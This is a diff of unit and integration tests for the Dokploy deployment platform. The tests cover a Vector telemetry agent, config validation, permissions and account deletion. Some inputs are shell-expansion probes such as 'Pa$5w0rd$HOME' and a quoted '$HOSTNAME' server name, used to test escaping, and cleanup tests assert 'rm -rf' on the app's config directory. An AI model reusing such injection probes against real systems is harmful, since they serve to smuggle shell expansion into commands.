mocks.execAsync.mockImplementation(async (command: string) => {
if (command.includes("validate")) {
throw new Error("bad sink: password sekret-token rejected");
}
return { stdout: "", stderr: "" };
});
await expect(reconcileVectorAgent()).rejects.toThrow(
/failed validation, not applying it: bad sink: password \[redacted\] rejected/,
);
const commands = commandsOf(mocks.execAsync);
expect(commands.some((c) => c.startsWith("mv "))).toBe(false);
expect(commands.some((c) => c.startsWith("rm -f "))).toBe(true);
expect(mocks.createService).not.toHaveBeenCalled();
});
it("removes the agent when no enabled provider is left in the selection", async () => {
mocks.getWebServerSettings.mockResolvedValue({
vectorAgentOrganizationId: "org-a",
telemetryProviderIds: ["deleted-or-disabled"],
});
mocks.findEnabledTelemetryProvidersByOrganization.mockResolvedValue([]);
await reconcileVectorAgent();
expect(mocks.getService).toHaveBeenCalledWith("dokploy-cadvisor");
expect(mocks.getService).toHaveBeenCalledWith("dokploy-vector");
expect(mocks.removeService).toHaveBeenCalledTimes(2);
expect(commandsOf(mocks.execAsync)).toEqual([
"rm -rf /local/dokploy/vector",
]);
expect(mocks.createService).not.toHaveBeenCalled();
});
it("removes the agent when the selection is empty, without an owner", async () => {
mocks.getWebServerSettings.mockResolvedValue({
vectorAgentOrganizationId: null,
telemetryProviderIds: [],
});
await reconcileVectorAgent();
expect(
mocks.findEnabledTelemetryProvidersByOrganization,
).not.toHaveBeenCalled();
expect(mocks.removeService).toHaveBeenCalledTimes(2);
});
it("deploys cAdvisor next to Vector when metrics providers are assigned", async () => {
mocks.getWebServerSettings.mockResolvedValue({
vectorAgentOrganizationId: "org-a",
telemetryProviderIds: ["mp-1"],
});
mocks.findEnabledTelemetryProvidersByOrganization.mockResolvedValue([
promProvider,
]);
await reconcileVectorAgent();
const config = writtenYaml(commandsOf(mocks.execAsync)[0] ?? "");
expect(config.sources.docker_logs_source).toBeUndefined();
expect(config.sources.cadvisor_source.endpoints).toEqual([
"http://127.0.0.1:4510/metrics",
]);
expect(mocks.createService.mock.calls.map((c) => c[0].Name)).toEqual([
"dokploy-vector",
"dokploy-cadvisor",
]);
const cadvisor = mocks.createService.mock.calls[1]?.[0];
expect(cadvisor.TaskTemplate.ContainerSpec.Image).toMatch(
/^ghcr\.io\/google\/cadvisor:v\d+\.\d+\.\d+$/,
);
expect(cadvisor.TaskTemplate.ContainerSpec.Args).toEqual(
expect.arrayContaining([
"--listen_ip=127.0.0.1",
"--port=4510",
"--docker_only=true",
"--store_container_labels=false",
]),
);
expect(cadvisor.TaskTemplate.ContainerSpec.HealthCheck).toEqual({
Test: ["NONE"],
});
expect(cadvisor.TaskTemplate.Networks).toEqual([{ Target: "host" }]);
expect(mocks.removeService).not.toHaveBeenCalled();
});
it("removes the agent on a remote server when the selection is empty", async () => {
mocks.findServerById.mockResolvedValue({
serverId: "server-1",
sshKeyId: "key-1",
organizationId: "org-a",
name: "edge-1",
telemetryProviderIds: [],
});
mocks.findEnabledTelemetryProvidersByOrganization.mockResolvedValue([]);
await reconcileVectorAgent("server-1");
expect(
mocks.findEnabledTelemetryProvidersByOrganization,
).toHaveBeenCalled();
expect(mocks.removeService).toHaveBeenCalledTimes(2);
expect(mocks.createService).not.toHaveBeenCalled();
expect(commandsOf(mocks.execAsyncRemote)).toEqual([
"rm -rf /etc/dokploy/vector",
]);
});
it("redacts the config and secrets when writing or applying the candidate fails", async () => {
mocks.getWebServerSettings.mockResolvedValue({
vectorAgentOrganizationId: "org-a",
telemetryProviderIds: ["lp-1"],
});
mocks.findEnabledTelemetryProvidersByOrganization.mockResolvedValue([
lokiProvider,
]);
const echoCommand = async (command: string) => {
if (command.includes("base64 -d") || command.startsWith("mv ")) {
throw new Error(`Command failed: ${command} (token sekret-token)`);
}
return { stdout: "", stderr: "" };
};
mocks.execAsync.mockImplementation(echoCommand);
const writeError = await reconcileVectorAgent().catch(
(e: Error) => e.message,
);
expect(writeError).toMatch(/^Failed to write the Vector config: /);
expect(writeError).not.toContain("sekret-token");
expect(writeError).not.toContain(
Buffer.from("data_dir").toString("base64").slice(0, 8),
);
expect(writeError).toContain("[redacted]");
mocks.execAsync.mockImplementation(async (command: string) => {
if (command.startsWith("mv ")) return echoCommand(command);
return { stdout: "", stderr: "" };
});
const applyError = await reconcileVectorAgent().catch(
(e: Error) => e.message,
);
expect(applyError).toMatch(/^Failed to apply the Vector config: /);
expect(applyError).not.toContain("sekret-token");
expect(mocks.createService).not.toHaveBeenCalled();
});
it("propagates a rejected service update instead of pretending the create succeeded", async () => {
mocks.getWebServerSettings.mockResolvedValue({
vectorAgentOrganizationId: "org-a",
telemetryProviderIds: ["lp-1"],
});
mocks.findEnabledTelemetryProvidersByOrganization.mockResolvedValue([
lokiProvider,
]);
mocks.inspectService.mockResolvedValue({
Version: { Index: "7" },
Spec: { TaskTemplate: { ForceUpdate: 2 } },
});
mocks.updateService.mockRejectedValue(
new Error("rpc error: invalid mount"),
);
await expect(reconcileVectorAgent()).rejects.toThrow("invalid mount");
expect(mocks.createService).not.toHaveBeenCalled();
});
it("propagates an inspect failure that is not a 404", async () => {
mocks.getWebServerSettings.mockResolvedValue({
vectorAgentOrganizationId: "org-a",
telemetryProviderIds: ["lp-1"],
});
mocks.findEnabledTelemetryProvidersByOrganization.mockResolvedValue([
lokiProvider,
]);
mocks.inspectService.mockRejectedValue(
Object.assign(new Error("daemon unreachable"), { statusCode: 500 }),
);
await expect(reconcileVectorAgent()).rejects.toThrow("daemon unreachable");
expect(mocks.createService).not.toHaveBeenCalled();
});
it("does not restart Vector on a config-only redeploy", async () => {
mocks.getWebServerSettings.mockResolvedValue({
vectorAgentOrganizationId: "org-a",
telemetryProviderIds: ["lp-1"],
});
mocks.findEnabledTelemetryProvidersByOrganization.mockResolvedValue([
lokiProvider,
]);
mocks.inspectService.mockImplementation(async () => ({
Version: { Index: "7" },
Spec: {
TaskTemplate: {
ForceUpdate: 2,
ContainerSpec: mocks.createService.mock.calls[0]?.[0]
? undefined
: undefined,
},
},
}));
await reconcileVectorAgent();
expect(mocks.killContainer).toHaveBeenCalledWith({ signal: "SIGHUP" });
expect(mocks.listContainers).toHaveBeenCalledWith({
filters: JSON.stringify({
label: ["com.docker.swarm.service.name=dokploy-vector"],
}),
});
const firstSpec = mocks.updateService.mock.calls[0]?.[0];
mocks.inspectService.mockResolvedValue({
Version: { Index: "8" },
Spec: { TaskTemplate: { ...firstSpec.TaskTemplate, ForceUpdate: 3 } },
});
mocks.updateService.mockClear();
await reconcileVectorAgent();
expect(mocks.updateService).toHaveBeenCalledWith(
expect.objectContaining({
version: 8,
TaskTemplate: expect.objectContaining({ ForceUpdate: 3 }),
}),
);
});
it("updates an existing Vector service instead of creating it", async () => {
mocks.getWebServerSettings.mockResolvedValue({
vectorAgentOrganizationId: "org-a",
telemetryProviderIds: ["lp-1"],
});
mocks.findEnabledTelemetryProvidersByOrganization.mockResolvedValue([
lokiProvider,
]);
mocks.inspectService.mockResolvedValue({
Version: { Index: "7" },
Spec: { TaskTemplate: { ForceUpdate: 2 } },
});
await reconcileVectorAgent();
expect(mocks.createService).not.toHaveBeenCalled();
expect(mocks.updateService).toHaveBeenCalledWith(
expect.objectContaining({
version: 7,
TaskTemplate: expect.objectContaining({ ForceUpdate: 3 }),
}),
);
});
});
describe("removeVectorAgent", () => {
it("removes cAdvisor, then Vector, then the config directory", async () => {
await removeVectorAgent();
expect(mocks.getService.mock.calls.map((c) => c[0])).toEqual([
"dokploy-cadvisor",
"dokploy-vector",
]);
expect(commandsOf(mocks.execAsync)).toEqual([
"rm -rf /local/dokploy/vector",
]);
});
it("keeps going when cAdvisor cannot be removed", async () => {
mocks.removeService
.mockRejectedValueOnce(new Error("docker hiccup"))
.mockRejectedValueOnce(notFound());
await removeVectorAgent();
expect(mocks.removeService).toHaveBeenCalledTimes(2);
expect(commandsOf(mocks.execAsync)).toEqual([
"rm -rf /local/dokploy/vector",
]);
});
it("refuses a server without an SSH key before touching cAdvisor or Vector", async () => {
mocks.findServerById.mockResolvedValue({
serverId: "server-1",
sshKeyId: null,
});
await expect(removeVectorAgent("server-1")).rejects.toThrow(/SSH key/);
expect(mocks.getService).not.toHaveBeenCalled();
expect(mocks.execAsyncRemote).not.toHaveBeenCalled();
});
});
@@ -0,0 +1,214 @@
import { beforeEach, describe, expect, it, vi } from "vitest";
const mocks = vi.hoisted(() => ({
listTasks: vi.fn(),
inspectService: vi.fn(),
findServersByOrganizationForVectorAgent: vi.fn(),
getAccessibleServerIds: vi.fn(),
getWebServerSettings: vi.fn(),
findTelemetryProvidersByOrganization: vi.fn(),
}));
vi.mock("@dokploy/server/db", () => ({ db: {} }));
vi.mock("@dokploy/server/constants", () => ({
IS_CLOUD: false,
paths: () => ({ VECTOR_PATH: "/etc/dokploy/vector" }),
}));
vi.mock("@dokploy/server/services/server", () => ({
findServerById: vi.fn(),
findServersByOrganizationForVectorAgent:
mocks.findServersByOrganizationForVectorAgent,
getAccessibleServerIds: mocks.getAccessibleServerIds,
}));
vi.mock("@dokploy/server/services/web-server-settings", () => ({
getWebServerSettings: mocks.getWebServerSettings,
}));
vi.mock(
"@dokploy/server/services/logs-and-metrics/service",
async (importOriginal) => ({
...(await importOriginal<
typeof import("@dokploy/server/services/logs-and-metrics/service")
>()),
findTelemetryProvidersByOrganization:
mocks.findTelemetryProvidersByOrganization,
}),
);
vi.mock("@dokploy/server/utils/servers/remote-docker", () => ({
getRemoteDocker: async () => ({
listTasks: mocks.listTasks,
getService: () => ({ inspect: mocks.inspectService }),
}),
}));
const { getVectorAgentTargets, withVectorTargetLock } = await import(
"@dokploy/server/setup/vector-setup"
);
const session = { userId: "user-1", activeOrganizationId: "org-1" };
describe("getVectorAgentTargets", () => {
beforeEach(() => {
for (const mock of Object.values(mocks)) mock.mockReset();
mocks.findServersByOrganizationForVectorAgent.mockResolvedValue([]);
mocks.inspectService.mockResolvedValue({});
mocks.getAccessibleServerIds.mockResolvedValue(new Set());
mocks.findTelemetryProvidersByOrganization.mockResolvedValue([
{ telemetryProviderId: "lp-1", enabled: true, signals: ["logs"] },
{ telemetryProviderId: "mp-1", enabled: true, signals: ["metrics"] },
{ telemetryProviderId: "mp-off", enabled: false, signals: ["metrics"] },
]);
mocks.getWebServerSettings.mockResolvedValue({
vectorAgentOrganizationId: "org-1",
telemetryProviderIds: ["lp-1"],
});
});
it("requires a running cAdvisor task when the target ships metrics", async () => {
mocks.getWebServerSettings.mockResolvedValue({
vectorAgentOrganizationId: "org-1",
telemetryProviderIds: ["mp-1"],
});
mocks.listTasks.mockImplementation(
async ({ filters }: { filters: string }) =>
JSON.parse(filters).service[0] === "dokploy-vector"
? [{ Status: { State: "running" } }]
: [],
);
const [local] = await getVectorAgentTargets(session);
expect(local?.status).toBe("not-running");
expect(mocks.listTasks).toHaveBeenCalledTimes(2);
});
it("reports running when both Vector and cAdvisor have a running task", async () => {
mocks.getWebServerSettings.mockResolvedValue({
vectorAgentOrganizationId: "org-1",
telemetryProviderIds: ["mp-1"],
});
mocks.listTasks.mockResolvedValue([{ Status: { State: "running" } }]);
const [local] = await getVectorAgentTargets(session);
expect(local?.status).toBe("running");
});
it("does not look at cAdvisor for a logs-only target", async () => {
mocks.listTasks.mockResolvedValue([{ Status: { State: "running" } }]);
await getVectorAgentTargets(session);
expect(mocks.listTasks).toHaveBeenCalledTimes(1);
});
it("does not look at cAdvisor when the only metrics provider is disabled", async () => {
mocks.getWebServerSettings.mockResolvedValue({
vectorAgentOrganizationId: "org-1",
telemetryProviderIds: ["lp-1", "mp-off"],
});
mocks.listTasks.mockResolvedValue([{ Status: { State: "running" } }]);
const [local] = await getVectorAgentTargets(session);
expect(local?.status).toBe("running");
expect(mocks.listTasks).toHaveBeenCalledTimes(1);
});
it("reports running only when a task of the service is running", async () => {
mocks.listTasks.mockResolvedValue([{ Status: { State: "running" } }]);
const [local] = await getVectorAgentTargets(session);
expect(local?.status).toBe("running");
expect(mocks.listTasks).toHaveBeenCalledWith({
filters: JSON.stringify({
service: ["dokploy-vector"],
"desired-state": ["running"],
}),
});
});
it("reports not-running when the service has no running task", async () => {
mocks.listTasks.mockResolvedValue([{ Status: { State: "pending" } }]);
const [local] = await getVectorAgentTargets(session);
expect(local?.status).toBe("not-running");
});
it("reports stopped when the service does not exist", async () => {
mocks.inspectService.mockRejectedValue(
Object.assign(new Error("not found"), { statusCode: 404 }),
);
mocks.listTasks.mockResolvedValue([]);
const [local] = await getVectorAgentTargets(session);
expect(local?.status).toBe("stopped");
expect(mocks.listTasks).not.toHaveBeenCalled();
});
it("reports unknown on any other docker error", async () => {
mocks.inspectService.mockRejectedValue(new Error("connect ECONNREFUSED"));
const [local] = await getVectorAgentTargets(session);
expect(local?.status).toBe("unknown");
});
it("reports an empty selection for an unowned local host, even with ids left by a deleted organization", async () => {
mocks.getWebServerSettings.mockResolvedValue({
vectorAgentOrganizationId: null,
telemetryProviderIds: ["lp-from-deleted-org", "mp-from-deleted-org"],
});
mocks.listTasks.mockResolvedValue([]);
const [local] = await getVectorAgentTargets(session);
expect(local).toMatchObject({
serverId: null,
telemetryProviderIds: [],
});
});
it("hides servers the member cannot access", async () => {
mocks.listTasks.mockResolvedValue([]);
mocks.findServersByOrganizationForVectorAgent.mockResolvedValue([
{
serverId: "server-1",
name: "one",
ipAddress: "1.1.1.1",
telemetryProviderIds: [],
},
{
serverId: "server-2",
name: "two",
ipAddress: "2.2.2.2",
telemetryProviderIds: [],
},
]);
mocks.getAccessibleServerIds.mockResolvedValue(new Set(["server-2"]));
const targets = await getVectorAgentTargets(session);
expect(targets.map((t) => t.serverId)).toEqual([null, "server-2"]);
});
});
describe("withVectorTargetLock", () => {
it("runs operations on the same target one after another", async () => {
const events: string[] = [];
let releaseFirst = () => {};
const first = withVectorTargetLock("server-1", async () => {
events.push("first:start");
await new Promise<void>((resolve) => {
releaseFirst = resolve;
});
events.push("first:end");
throw new Error("first failed");
});
const second = withVectorTargetLock("server-1", async () => {
events.push("second");
});
const other = withVectorTargetLock("server-2", async () => {
events.push("other");
});
await other;
expect(events).toEqual(["first:start", "other"]);
releaseFirst();
await expect(first).rejects.toThrow("first failed");
await second;
expect(events).toEqual(["first:start", "other", "first:end", "second"]);
});
});
@@ -0,0 +1,197 @@
import { execFileSync } from "node:child_process";
import { mkdtempSync, writeFileSync } from "node:fs";
import os from "node:os";
import path from "node:path";
import {
buildVectorConfigYaml,
VECTOR_IMAGE,
} from "@dokploy/server/setup/vector-setup";
import { describe, expect, it } from "vitest";
const dockerAvailable = (() => {
try {
execFileSync("docker", ["info"], { stdio: "ignore", timeout: 10_000 });
return true;
} catch {
return false;
}
})();
const provider = (overrides: Record<string, unknown>) =>
({
apiKey: null,
apiSecret: null,
endpoint: null,
extraConfig: null,
enabled: true,
...overrides,
}) as any;
const logsOnly = [
provider({
telemetryProviderId: "loki1",
name: "loki",
providerType: "loki",
signals: ["logs"],
endpoint: "http://loki.example.com:3100",
apiKey: "Pa$5w0rd$HOME",
extraConfig: { username: "12345" },
}),
];
const metricsOnly = [
provider({
telemetryProviderId: "prom1",
name: "prom",
providerType: "prometheus_remote_write",
signals: ["metrics"],
endpoint: "http://prom.example.com:9090/api/v1/write",
apiKey: "token",
extraConfig: { tenantId: "team-a" },
}),
provider({
telemetryProviderId: "nr1",
name: "new relic",
providerType: "new_relic",
signals: ["metrics"],
apiKey: "license",
extraConfig: { accountId: "123", region: "eu" },
}),
provider({
telemetryProviderId: "influx1",
name: "influx",
providerType: "influxdb",
signals: ["metrics"],
endpoint: "http://influx.example.com:8086",
apiKey: "token",
extraConfig: { org: "dokploy", bucket: "metrics" },
}),
];
const both = [
provider({
telemetryProviderId: "dd1",
name: "datadog",
providerType: "datadog",
signals: ["logs", "metrics"],
apiKey: "dd-key",
}),
provider({
telemetryProviderId: "cw1",
name: "cloudwatch",
providerType: "aws_cloudwatch",
signals: ["logs", "metrics"],
apiKey: "AKIAFAKE",
apiSecret: "secret",
extraConfig: {
region: "us-east-1",
logGroup: "/dokploy/logs",
metricsNamespace: "Dokploy",
},
}),
provider({
telemetryProviderId: "splunk1",
name: "splunk",
providerType: "splunk_hec",
signals: ["logs", "metrics"],
endpoint: "https://splunk.example.com:8088",
apiKey: "hec",
extraConfig: { index: "main", metricsIndex: "dokploy_metrics" },
}),
provider({
telemetryProviderId: "es1",
name: "elastic",
providerType: "elasticsearch",
signals: ["logs", "metrics"],
endpoint: "http://es.example.com:9200",
apiKey: "pw",
extraConfig: { username: "elastic" },
}),
provider({
telemetryProviderId: "bs1",
name: "better stack",
providerType: "betterstack",
signals: ["logs", "metrics"],
endpoint: "in.logs.betterstack.com",
apiKey: "token",
}),
];
const cases: Array<[string, Parameters<typeof buildVectorConfigYaml>[0]]> = [
[
"local logs only",
{
logProviders: logsOnly,
metricsProviders: [],
organizationId: "org_a",
serverName: "Dokploy Server (local)",
},
],
[
"local metrics only",
{
logProviders: [],
metricsProviders: metricsOnly,
organizationId: "org_a",
serverName: "Dokploy Server (local)",
},
],
[
"local every provider on both signals",
{
logProviders: [...logsOnly, ...both],
metricsProviders: [...metricsOnly, ...both],
organizationId: "org_a",
serverName: 'Dokploy "Server" $HOSTNAME (local)',
},
],
[
"remote metrics only",
{ logProviders: [], metricsProviders: metricsOnly, serverName: "edge-1" },
],
[
"remote every provider on both signals",
{
logProviders: [...logsOnly, ...both],
metricsProviders: [...metricsOnly, ...both],
serverName: "edge-1",
},
],
];
describe.skipIf(!dockerAvailable)(
"vector validate on generated configs",
() => {
const dir = mkdtempSync(path.join(os.tmpdir(), "vector-validate-"));
it.each(cases)(
"%s",
(name, input) => {
const file = path.join(dir, `${name.replace(/\W+/g, "-")}.yaml`);
writeFileSync(file, buildVectorConfigYaml(input));
const output = execFileSync(
"docker",
[
"run",
"--rm",
"-v",
"/var/run/docker.sock:/var/run/docker.sock:ro",
"-v",
`${file}:/etc/vector/vector.yaml:ro`,
VECTOR_IMAGE,
"validate",
"--skip-healthchecks",
"/etc/vector/vector.yaml",
],
{
encoding: "utf8",
stdio: ["ignore", "pipe", "pipe"],
timeout: 120_000,
},
);
expect(output).toContain("Validated");
},
150_000,
);
},
);
@@ -0,0 +1,86 @@
import type { SQL } from "drizzle-orm";
import { PgDialect } from "drizzle-orm/pg-core";
import { beforeEach, describe, expect, it, vi } from "vitest";
const mocks = vi.hoisted(() => ({
findFirst: vi.fn(),
updates: [] as Array<{ values: Record<string, unknown>; where: unknown }>,
returning: vi.fn(),
}));
vi.mock("@dokploy/server/db", () => ({
db: {
query: { webServerSettings: { findFirst: mocks.findFirst } },
update: () => ({
set: (values: Record<string, unknown>) => ({
where: (where: unknown) => {
mocks.updates.push({ values, where });
return { returning: () => Promise.resolve(mocks.returning()) };
},
}),
}),
},
}));
const { releaseWebServerAgent, setWebServerProviderIds } = await import(
"@dokploy/server/services/web-server-settings"
);
const render = (value: unknown) => new PgDialect().sqlToQuery(value as SQL).sql;
beforeEach(() => {
mocks.updates = [];
mocks.findFirst.mockResolvedValue({
id: "ws-1",
vectorAgentOrganizationId: "org-a",
});
mocks.returning.mockReturnValue([{ id: "ws-1" }]);
});
describe("setWebServerProviderIds", () => {
it("claims the local agent for the organization when assigning providers", async () => {
const row = await setWebServerProviderIds("org-a", ["lp-1", "mp-1"]);
expect(row).toEqual({ id: "ws-1" });
const update = mocks.updates[0];
expect(update?.values).toMatchObject({
telemetryProviderIds: ["lp-1", "mp-1"],
vectorAgentOrganizationId: "org-a",
});
expect(render(update?.where)).toBe(
'("webServerSettings"."id" = $1 and ("webServerSettings"."vectorAgentOrganizationId" is null or "webServerSettings"."vectorAgentOrganizationId" = $2))',
);
});
it("releases the owner when the selection is cleared", async () => {
await setWebServerProviderIds("org-a", []);
expect(mocks.updates[0]?.values).toMatchObject({
telemetryProviderIds: [],
vectorAgentOrganizationId: null,
});
});
it("returns null when another organization owns the local agent", async () => {
mocks.returning.mockReturnValue([]);
await expect(
setWebServerProviderIds("org-b", ["lp-9"]),
).resolves.toBeNull();
});
});
describe("releaseWebServerAgent", () => {
it("clears the selection and the owner only for the owning organization", async () => {
await releaseWebServerAgent("org-a");
const update = mocks.updates[0];
expect(update?.values).toMatchObject({
telemetryProviderIds: [],
vectorAgentOrganizationId: null,
});
expect(render(update?.where)).toBe(
'"webServerSettings"."vectorAgentOrganizationId" = $1',
);
});
});
@@ -0,0 +1,104 @@
import {
getHostSystemStats,
isPhysicalDisk,
} from "@dokploy/server/monitoring/utils";
import { describe, expect, it, vi } from "vitest";
const GiB = 1024 ** 3;
const diskStat = (device: string, readGiB: number, writeGiB: number) => ({
device,
readBytes: { toBytes: () => readGiB * GiB },
writeBytes: { toBytes: () => writeGiB * GiB },
});
vi.mock("node-os-utils", () => ({
OSUtils: class {
cpu = { usage: async () => ({ success: false }) };
memory = { info: async () => ({ success: false }) };
network = { overview: async () => ({ success: false }) };
disk = {
stats: async () => ({
success: true,
data: [
diskStat("nvme0n1", 50, 100),
diskStat("nvme0n1p1", 50, 100),
diskStat("nvme1n1", 50, 100),
diskStat("nvme1n1p1", 50, 100),
diskStat("md0", 50, 100),
diskStat("md0p1", 50, 100),
diskStat("dm-0", 50, 100),
diskStat("zram0", 10, 20),
],
}),
};
},
}));
describe("isPhysicalDisk (#5513, #5385)", () => {
it.each([
"sda",
"sdab",
"hda",
"vda",
"xvda",
"nvme0n1",
"nvme1n1",
"mmcblk0",
])("counts whole disk %s", (device) => {
expect(isPhysicalDisk(device)).toBe(true);
});
it.each([
"sda1",
"sdab12",
"hda1",
"vda1",
"xvda1",
"nvme0n1p1",
"nvme1n1p4",
"mmcblk0p1",
])("skips partition %s", (device) => {
expect(isPhysicalDisk(device)).toBe(false);
});
it.each(["md0", "md127", "md0p1", "md_d0p1", "dm-0", "dm-12"])(
"skips stacked device %s",
(device) => {
expect(isPhysicalDisk(device)).toBe(false);
},
);
it.each(["loop0", "ram0", "zram0", "sr0", "fd0"])(
"skips virtual device %s",
(device) => {
expect(isPhysicalDisk(device)).toBe(false);
},
);
it("counts each write once on an mdadm RAID1 host", () => {
const devices = [
"nvme0n1",
"nvme0n1p1",
"nvme0n1p2",
"nvme0n1p3",
"nvme0n1p4",
"nvme1n1",
"nvme1n1p1",
"nvme1n1p2",
"nvme1n1p3",
"nvme1n1p4",
"md0",
"md1",
"md2",
"md3",
];
expect(devices.filter(isPhysicalDisk)).toEqual(["nvme0n1", "nvme1n1"]);
});
});
describe("getHostSystemStats Block I/O (#5513, #5385)", () => {
it("sums only whole physical disks", async () => {
const stats = await getHostSystemStats();
expect(stats.BlockIO).toBe("100.00GiB / 200.00GiB");
});
});
@@ -73,6 +73,20 @@ describe("owner and admin bypass enterprise resources", () => {
).resolves.toBeUndefined();
});
it("owner bypasses telemetryProvider.read", async () => {
memberToReturn = mockMemberData("owner");
await expect(
checkPermission(ctx, { telemetryProvider: ["read"] }),
).resolves.toBeUndefined();
});
it("admin bypasses telemetryProvider.create", async () => {
memberToReturn = mockMemberData("admin");
await expect(
checkPermission(ctx, { telemetryProvider: ["create"] }),
).resolves.toBeUndefined();
});
it("owner bypasses multiple enterprise permissions at once", async () => {
memberToReturn = mockMemberData("owner");
await expect(
@@ -139,6 +153,20 @@ describe("member is denied org-level enterprise resources (CVE: bypass via stati
checkPermission(ctx, { registry: ["create"] }),
).rejects.toThrow();
});
it("member is denied telemetryProvider.read", async () => {
memberToReturn = mockMemberData("member");
await expect(
checkPermission(ctx, { telemetryProvider: ["read"] }),
).rejects.toThrow();
});
it("member is denied telemetryProvider.create", async () => {
memberToReturn = mockMemberData("member");
await expect(
checkPermission(ctx, { telemetryProvider: ["create"] }),
).rejects.toThrow();
});
});
describe("static roles validate free-tier resources", () => {
@@ -18,6 +18,7 @@ const FREE_TIER_RESOURCES = [
"gitProviders",
"traefikFiles",
"api",
"telemetryProvider",
];
const ENTERPRISE_RESOURCES = [
@@ -111,6 +111,7 @@ describe("enterprise resources for static roles", () => {
expect(perms.destination.read).toBe(false);
expect(perms.notification.read).toBe(false);
expect(perms.auditLog.read).toBe(false);
expect(perms.telemetryProvider.read).toBe(false);
});
});
@@ -25,6 +25,8 @@ const baseSettings: WebServerSettings = {
letsEncryptEmail: null,
sshPrivateKey: null,
enableDockerCleanup: false,
telemetryProviderIds: [],
vectorAgentOrganizationId: null,
buildsConcurrency: 1,
logCleanupCron: null,
metricsConfig: {
@@ -60,8 +62,12 @@ const baseSettings: WebServerSettings = {
docsUrl: null,
errorPageTitle: null,
errorPageDescription: null,
metaTitle: null,
ogImageUrl: null,
footerText: null,
logoLightUrl: null,
loginLogoLightUrl: null,
faviconLightUrl: null,
dualModeBranding: false,
},
cleanupCacheApplications: false,
cleanupCacheOnCompose: false,
@@ -0,0 +1,182 @@
import {
checkDeletionCode,
generateDeletionCode,
serializeDeletionCode,
} from "@dokploy/server/services/account-deletion";
import { deleteHubSpotContactByEmail } from "@dokploy/server/utils/tracking/hubspot";
import Stripe from "stripe";
import { afterEach, describe, expect, test, vi } from "vitest";
import { cancelStripeSubscriptions } from "@/server/utils/billing";
const makeStripe = (
subscriptions: Array<{ id: string; status: string }>,
listError?: Error,
) => {
const stripe = {
subscriptions: {
list: vi.fn(() =>
listError
? Promise.reject(listError)
: Promise.resolve({ data: subscriptions }),
),
cancel: vi.fn(() => Promise.resolve({})),
},
};
return stripe as unknown as Stripe & typeof stripe;
};
describe("cancelStripeSubscriptions", () => {
test("cancels every non-terminal subscription without invoicing", async () => {
const stripe = makeStripe([
{ id: "sub_active", status: "active" },
{ id: "sub_trial", status: "trialing" },
{ id: "sub_past_due", status: "past_due" },
{ id: "sub_canceled", status: "canceled" },
{ id: "sub_expired", status: "incomplete_expired" },
]);
const result = await cancelStripeSubscriptions("cus_1", stripe);
expect(stripe.subscriptions.list).toHaveBeenCalledWith({
customer: "cus_1",
status: "all",
limit: 100,
});
expect(stripe.subscriptions.cancel).toHaveBeenCalledTimes(3);
expect(stripe.subscriptions.cancel).toHaveBeenCalledWith("sub_active", {
invoice_now: false,
prorate: false,
});
expect(result).toEqual({
cancelledSubscriptions: ["sub_active", "sub_trial", "sub_past_due"],
});
});
test("treats a missing customer as having nothing to cancel", async () => {
const missing = new Stripe.errors.StripeInvalidRequestError({
type: "invalid_request_error",
code: "resource_missing",
message: "No such customer",
});
const stripe = makeStripe([], missing);
const result = await cancelStripeSubscriptions("cus_missing", stripe);
expect(stripe.subscriptions.cancel).not.toHaveBeenCalled();
expect(result).toEqual({ cancelledSubscriptions: [] });
});
test("propagates unexpected Stripe errors", async () => {
const failure = new Stripe.errors.StripeAPIError({
type: "api_error",
message: "boom",
});
const stripe = makeStripe([], failure);
await expect(cancelStripeSubscriptions("cus_1", stripe)).rejects.toBe(
failure,
);
});
});
describe("deleteHubSpotContactByEmail", () => {
afterEach(() => {
vi.unstubAllGlobals();
});
test("is skipped when no access token is configured", async () => {
const fetchMock = vi.fn();
vi.stubGlobal("fetch", fetchMock);
expect(await deleteHubSpotContactByEmail("a@b.com", undefined)).toBe(
"skipped",
);
expect(fetchMock).not.toHaveBeenCalled();
});
test("calls the GDPR delete endpoint with the email as id", async () => {
const fetchMock = vi.fn(() =>
Promise.resolve(new Response(null, { status: 204 })),
);
vi.stubGlobal("fetch", fetchMock);
expect(await deleteHubSpotContactByEmail("a@b.com", "token")).toBe(
"deleted",
);
const [url, init] = fetchMock.mock.calls[0] as unknown as [
string,
RequestInit,
];
expect(url).toBe(
"https://api.hubapi.com/crm/v3/objects/contacts/gdpr-delete",
);
expect(init.method).toBe("POST");
expect((init.headers as Record<string, string>).Authorization).toBe(
"Bearer token",
);
expect(JSON.parse(init.body as string)).toEqual({
idProperty: "email",
objectId: "a@b.com",
});
});
test("maps 404 to not_found and other errors to failed", async () => {
vi.stubGlobal(
"fetch",
vi.fn(() => Promise.resolve(new Response(null, { status: 404 }))),
);
expect(await deleteHubSpotContactByEmail("a@b.com", "token")).toBe(
"not_found",
);
vi.stubGlobal(
"fetch",
vi.fn(() => Promise.resolve(new Response("nope", { status: 500 }))),
);
expect(await deleteHubSpotContactByEmail("a@b.com", "token")).toBe(
"failed",
);
});
});
describe("account deletion codes", () => {
test("generates six-digit numeric codes", () => {
for (let i = 0; i < 50; i++) {
expect(generateDeletionCode()).toMatch(/^\d{6}$/);
}
});
test("accepts the right code, ignoring surrounding whitespace", () => {
const value = serializeDeletionCode("482913");
expect(checkDeletionCode(value, "482913")).toEqual({
valid: true,
attempts: 0,
});
expect(checkDeletionCode(value, " 482913 ").valid).toBe(true);
});
test("counts failed attempts without revealing the hash", () => {
const value = serializeDeletionCode("482913");
const first = checkDeletionCode(value, "000000");
expect(first.valid).toBe(false);
if (first.valid) throw new Error("unreachable");
expect(first.attempts).toBe(1);
expect(JSON.parse(first.nextValue)).toEqual({
...JSON.parse(value),
attempts: 1,
});
const second = checkDeletionCode(first.nextValue, "999999");
expect(second.valid).toBe(false);
if (second.valid) throw new Error("unreachable");
expect(second.attempts).toBe(2);
expect(checkDeletionCode(second.nextValue, "482913")).toEqual({
valid: true,
attempts: 2,
});
expect(value).not.toContain("482913");
});
});
@@ -0,0 +1,60 @@
import { promises as fs } from "node:fs";
import os from "node:os";
import path from "node:path";
import { describe, expect, it, vi } from "vitest";
vi.mock("@dokploy/server/services/server", () => ({
findServerById: vi.fn(),
}));
import { pipeBetweenServers } from "@dokploy/server/utils/process/remoteStream";
describe("pipeBetweenServers", () => {
it("delivers a short source stream that ends before the target is ready", async () => {
const bytes = await pipeBetweenServers({
source: { serverId: null, command: "printf 'hello world'" },
target: { serverId: null, command: "sleep 0.3; cat > /dev/null" },
});
expect(bytes).toBe(11);
});
it("pipes data larger than the pipe buffer unchanged", async () => {
